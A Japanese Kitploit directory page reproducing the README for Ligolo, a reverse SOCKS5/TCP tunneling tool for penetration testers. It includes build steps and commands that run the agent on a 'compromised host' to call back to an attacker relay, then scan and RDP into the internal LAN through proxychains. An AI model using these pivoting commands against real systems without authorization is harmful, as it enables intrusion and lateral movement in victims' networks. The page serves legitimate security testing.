Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/sysdream/ligolo
横移動ペネトレーションテストレッドチーミング
GitHubsysdream/ligolo

ligolo

ペンテスターのためにペンテスターが作ったリバーストンネリングを簡単に https://sysdream.com/

リポジトリを見る
1.8k227106年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Ligolo : ペネトレーションテスターのためのリバーストンネリングを簡単に

forthebadge forthebadge

Ligolo

目次

  • はじめに
  • ユースケース
  • クイックデモ
  • パフォーマンス
  • 使い方
    • セットアップ/コンパイル
    • 使用方法
    • TL;DR
    • オプション
  • 機能
  • To Do
  • ライセンス
  • クレジット

はじめに

Ligoloは、リバースコネクションからSOCKS5またはTCPトンネルを完全に安全に(楕円曲線を使用したTLS証明書)確立するためのシンプルで軽量なツールです。

Autoroute + Socks4aを使用したMeterpreterに匹敵しますが、より安定していて高速です。

ユースケース

外部監査中にWindows/Linux/Macサーバーを侵害しました。このサーバーはLANネットワーク内にあり、このネットワーク上の他のマシンへの接続を確立したい場合。

Ligoloは、内部サーバーのリソースにアクセスするためのトンネルを設定できます。

クイックデモ

Proxychainsを使用したRDP接続の中継(WAN)。

RDP

パフォーマンス

以下は、2台の100mb/sホスト間(ligolo / localrelay)のスピードテストのスクリーンショットです。パフォーマンスはシステムとネットワーク構成により異なる場合があります。

Speedtest

使い方

セットアップ/コンパイル

Goがインストールされ、動作していることを確認してください。

  1. Ligoloと依存関係を取得
root@kitploit:~
cd `go env GOPATH`/src
git clone https://github.com/sysdream/ligolo
cd ligolo
make dep
  1. 自己署名TLS証明書を生成(certsフォルダに配置されます)
root@kitploit:~
make certs TLS_HOST=example.com

注意:buildを呼び出す際にTLS_CERT makeオプションを使用して、独自の証明書を使用することもできます。例:make build-all TLS_CERT=certs/mycert.pem。

  1. ビルド
  • 3.1. すべてのアーキテクチャ向け
root@kitploit:~
make build-all
  • 3.2. (または)現在のアーキテクチャ向け
root@kitploit:~
make build

使用方法

Ligoloは2つのモジュールで構成されています:

  • localrelay
  • ligolo

Localrelayはコントロールサーバー(攻撃者サーバー)で起動することを目的としています。

Ligoloはターゲットコンピュータで実行するプログラムです。

Localrelayはデフォルトオプションのままにしておくことができます。すべてのインターフェースのポート5555でリッスンし、ligoloからの接続を待ちます(-relayserverパラメータ)。

Ligoloでは、-relayserver ip:portパラメータを使用してリレーサーバー(または攻撃サーバー)のIPアドレスを指定する必要があります。

ヘルプを表示するには-hオプションを使用してください。

LigoloとLocalRelay間の接続が確立されると、リレーサーバー上のTCPポート1080にSOCKS5プロキシがセットアップされます(-localserverオプションでTCPアドレス/ポートを変更できます)。

その後は、お好みのツール(例:Proxychains)を使用して、クライアントのLANネットワークを探索するだけです。

TL;DR

攻撃サーバーで:

root@kitploit:~
./bin/localrelay_linux_amd64

侵害されたホストで:

root@kitploit:~
> ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555

接続が確立されたら、攻撃サーバーのProxyChains設定ファイルに以下のパラメータを設定します:

root@kitploit:~
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5     127.0.0.1 1080

成果を得る:

root@kitploit:~
$ proxychains nmap -sT 10.0.0.0/24 -p 80 -Pn -A
$ proxychains rdesktop 10.0.0.123

オプション

Localrelay オプション:

root@kitploit:~
Usage of localrelay:
  -certfile string
    	TLSサーバー証明書 (デフォルト "certs/server.crt")
  -keyfile string
    	TLSサーバーキー (デフォルト "certs/server.key")
  -localserver string
    	ローカルサーバーアドレス (あなたのproxychainsパラメータ) (デフォルト "127.0.0.1:1080")
  -relayserver string
    	リレーサーバーリッスンアドレス (コネクトバックアドレス) (デフォルト "0.0.0.0:5555")

Ligolo オプション:

root@kitploit:~
Usage of ligolo:
  -autorestart
    	例外発生時に再接続を試みる
  -relayserver string
    	リレーサーバー (コネクトバックアドレス) (デフォルト "127.0.0.1:5555")
  -skipverify
    	TLS証明書ピン留め検証をスキップ
  -targetserver string
    	宛先サーバー (RDPクライアント、SSHサーバーなど) - 指定しない場合、Ligoloはsocks5プロキシサーバーを起動

機能

  • TLSピン留めを使用したTLS 1.3トンネル
  • マルチプラットフォーム (Windows / Linux / Mac / ...)
  • 多重化 (全フローに対して1つのTCP接続)
  • SOCKS5プロキシまたはシンプルなリレー

To Do

  • タイムアウト処理の改善
  • SOCKS5 UDPサポート
  • mTLSの実装

ライセンス

GNU General Public License v3.0(LICENSING参照)。

クレジット

  • Nicolas Chatelain <n.chatelain -at- sysdream.com>

Sysdream

ツールをダウンロード